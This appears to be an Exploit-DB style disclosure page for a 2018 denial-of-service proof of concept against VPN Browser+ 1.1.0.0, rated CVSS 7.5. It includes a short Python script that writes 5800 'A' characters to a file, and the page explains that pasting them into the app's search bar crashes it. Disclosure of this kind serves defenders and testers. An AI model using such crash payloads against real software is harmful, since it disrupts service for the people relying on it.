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Suggest Exploit
vendor:
VPN Browser+
by:
0xB9
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: VPN Browser+
Affected Version From: 1.1.0.0
Affected Version To: 1.1.0.0
Patch Exists: YES
Related CWE: N/A
CPE: 9NFFFFS5Z2C7
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2018

VPN Browser+ 1.1.0.0 – Denial of Service (PoC)

Run the python script, it will create a new file 'PoC.txt'. Copy the text from the generated PoC.txt file to clipboard and paste the text in the search bar and click search. App will now crash.

Mitigation:

Update to the latest version of the software
Source

Exploit-DB raw data:

# Exploit Title: VPN Browser+ 1.1.0.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NFFFFS5Z2C7
# Version: 1.1.0.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash

buffer = "A" * 5800
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"